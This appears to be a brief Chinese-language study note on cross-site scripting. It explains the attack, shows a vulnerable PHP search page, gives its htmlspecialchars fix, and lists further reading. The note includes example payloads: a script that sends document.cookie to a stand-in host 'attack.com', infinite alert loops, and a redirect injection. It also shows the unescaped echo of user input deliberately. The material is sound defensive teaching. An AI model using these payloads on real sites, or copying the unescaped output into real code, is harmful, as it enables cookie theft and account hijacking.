Cross-site Scripting
→XSS
Cross-site Scripting
跨網站指令碼
利用網頁上動態產生內容部份的漏洞,注入惡意腳本的攻擊手法
例如
輸入欄位
使用短網址包覆帶有惡意腳本的網址
http://app.com/?name=?<script>...attack.com/bad.php?data=document.cookie;</script>
<script>for(;;){alert(1)}</script>
<img src="X" onError="for(;;){alert(1)}">
攻擊者取得使用者的Cookie,藉此盜用相關資料
可以針對特殊文字進行處理來防止攻擊
例如<、&
範例
code:search.php
<form action="result.php">
<input type="text" name="keyword" />
<button type="submit">搜尋</button>
</form>
code:result.php
<h2><?php echo $_GET'keyword'; ?>的搜尋結果</h2>
攻擊:輸入<script>location.href = 'http://example.com'</script>
結果頁面會變為:
code:result.html
<h2>
<script>
location.href = "http://example.com";
</script>
的搜尋結果
</h2>
對策:加入escape
code:result.php
<h2><?php echo htmlspecialchars($_GET'keyword', ENT_QUOTES); ?>的搜尋結果</h2>
2021-02-07 Cheatsheet: XSS that works in 2021 - Sam's Hacking Wonderland
2021-06-19 淺談 XSS 攻擊與防禦的各個環節 - Huli's blog
Huli
2021-10-11 XSS 從頭談起:歷史與由來 - Huli's blog
2018-12-17 3 分でわかる XSS と CSRF の違い
2023-01-01 なぜ出力時のHTMLエスケープを省略してはならないのか
2024-12-31 ISO-2022-JPの自動判定によるクロスサイト・スクリプティング(XSS) | 徳丸浩の日記
2025-07-02 Still X.S.S. - なぜいまだにXSSは生まれてしまうのか? - GMO Flatt Security Blog